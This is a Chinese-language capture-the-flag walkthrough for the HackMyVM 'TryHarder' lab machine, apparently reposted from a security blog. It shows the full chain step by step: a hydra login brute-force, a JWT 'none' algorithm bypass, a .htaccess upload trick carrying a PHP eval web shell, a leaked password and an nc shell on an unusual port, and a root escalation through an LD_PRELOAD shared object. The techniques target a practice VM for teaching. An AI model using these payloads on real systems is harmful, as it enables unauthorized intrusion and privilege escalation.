HackMyVM - TryHarder

admin 2025年4月15日09:54:57评论2 views字数 3267阅读10分53秒阅读模式

镜像文件

官网: https://hackmyvm.eu/machines/machine.php?vm=Tryharder

网盘分享: https://pan.quark.cn/s/cdb4983827f7

信息收集

sudo arp-scan -I eth1 -l

sudo arp-scan -I eth1 -lInterface: eth1, type: EN10MB, MAC: 00:0c:29:ca:8d:56, IPv4: 192.168.56.128Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)192.168.56.10a:00:27:00:00:0a(Unknown: locally administered)192.168.56.10008:00:27:a5:0c:a6PCS Systemtechnik GmbH192.168.56.10408:00:27:2d:df:23PCS Systemtechnik GmbH3 packets received by filter, 0 packets dropped by kernelEnding arp-scan 1.10.0: 256 hosts scanned in 2.085 seconds (122.78 hosts/sec). 3 responded

nmap 192.168.56.104 -A -p-

PORT   STATE SERVICE VERSION22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)| ssh-hostkey: |   2048 93:a4:92:55:72:2b:9b:4a:52:66:5c:af:a9:83:3c:fd (RSA)|   256 1e:a7:44:0b:2c:1b:0d:77:83:df:1d:9f:0e:30:08:4d (ECDSA)|_  256 d0:fa:9d:76:77:42:6f:91:d3:bd:b5:44:72:a7:c9:71 (ED25519)80/tcp open  http    Apache httpd 2.4.59 ((Debian))|_http-title: xE8xA5xBFxE6xBAxAAxE6xB9x96xE7xA7x91xE6x8Ax80 - xE4xBCx81xE4xB8x9AxE9x97xA8xE6x88xB7xE7xBDx91xE7xABx99|_http-server-header: Apache/2.4.59 (Debian)

访问网站 -> 查询源码 -> 发现注释信息API路径 /NzQyMjE= */ -> base64解码:74221

HackMyVM - TryHarder
tryharder00

dirsearch

dirsearch -u http://192.168.56.104/74221/

[21:27:47] 302 -    0B  - /74221/dashboard.php  ->  index.php[21:28:03] 301 -  324B  - /74221/uploads  ->  http://192.168.56.104/74221/uploads/[21:28:03] 200 -  456B  - /74221/uploads/

登录框 -> 后台 uploads文件夹 -> 74221/999/ -> 空文件夹

hydra - 弱口令

hydra -L /home/yefeng/SecLists/Usernames/top-usernames-shortlist.txt -P /home/yefeng/SecLists/Passwords/500-worst-passwords.txt -u 192.168.56.104 http-post-form "/74221/index.php:username=^USER^&password=^PASS^:Invalid"

[80][http-post-form] host: 192.168.56.104   login: test   password: 123456

venom_jwt - none攻击

https://github.com/z-bool/Venom-JWT

HackMyVM - TryHarder
tryharder01

upload - .htaccess攻击

得到了admin的身份,多了一个上传文件的功能 -> 经过初步测试 -> 提示允许.png、.jpg文件上传 -> 尝试上传.htaccess成功

HackMyVM - TryHarder
tryharder02
# .htaccess 文件<FilesMatch "shell"> # 匹配文件名 Apache的指令Sethandler application/x-httpd-php</FilesMatch># 文件名包含shell的 都会被当作 php解析
# shell.jpg<?phpeval($_POST['cmd']);?>

getshell - user.txt

antsword连接shell -> 虚拟终端 -> 可以访问user.txt

HackMyVM - TryHarder
tryharder03

有两处相似的数据

cat /etc/passwdcat /srv/...

HackMyVM - TryHarder
tryharder04

得到了pentester用户的密码

pentester : Y0U_5M4SH3D_17_8UDDY

root

sudo -l -> 发现 find  -> 在https://gtfobins.github.io/gtfobins/find/中找到命令 但是执行失败

HackMyVM - TryHarder
tryharder05

尝试其他方法 -> 这里的这个8989端口 -> 我之前就发现有 -> 但是没多关注 -> 这里尝试进行 nc -> 连接

密码就尝试刚才得到的 -> 得到一个shell -> 通过ls得到的目录 -> 说明是xiix用户的shell -> 写入公钥

HackMyVM - TryHarder
tryharder06
这里直接ssh连接进xiix用户 执行 guess_game 程序 -> 说是有捷径 -> 那就继续寻找信息env -> 环境变量中有一个 DEBUG_MODE运行guess 输入 1337 OK 得到了 xiix用户的密码
HackMyVM - TryHarder
tryharder07
输入你的猜测(0-99) / Your guess (0-99): 1337后门激活! / Backdoor activated!Pass: superxiix
此时进行探测sudo -lMatching Defaults entries for xiix on tryharder:    env_reset, mail_badpass,    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin,    env_keep+=LD_PRELOADUser xiix may run the following commands on tryharder:    (ALL : ALL) /bin/whoami
// shell.so#include<stdio.h>#include<stdlib.h>void _init() {    unsetenv("LD_PRELOAD");    setuid(0);    setgid(0);    system("/bin/bash");}gcc -fPIC -shared -o shell.so shell.c -nostartfilessudo LD_PRELOAD=/tmp/shell.so whoami

总结

22/80端口 -> 无其他信息 -> 80端口首页源代码 爆破 API路径接着dirsearch -> 得到登录框 -> 弱口令( BP  hydra )JWT验证 -> NONE算法攻击( venom_jwt ) -> admin文件上传 -> .htaccess -> user.txt横向移动 信息泄露( /etc/passwd、/srv/... ) -> 二进制 -> 得到pentester的密码 netstat -> 不同寻常的8989端口 -> nc连接 -> 输入pentester的密码 -> 得到xiix的交互式shell -> 写入公钥 env_keep+=LD_PRELOAD 提权

原文始发于微信公众号(夜风Sec):HackMyVM - TryHarder

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月15日09:54:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HackMyVM - TryHarderhttps://cn-sec.com/archives/3957169.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息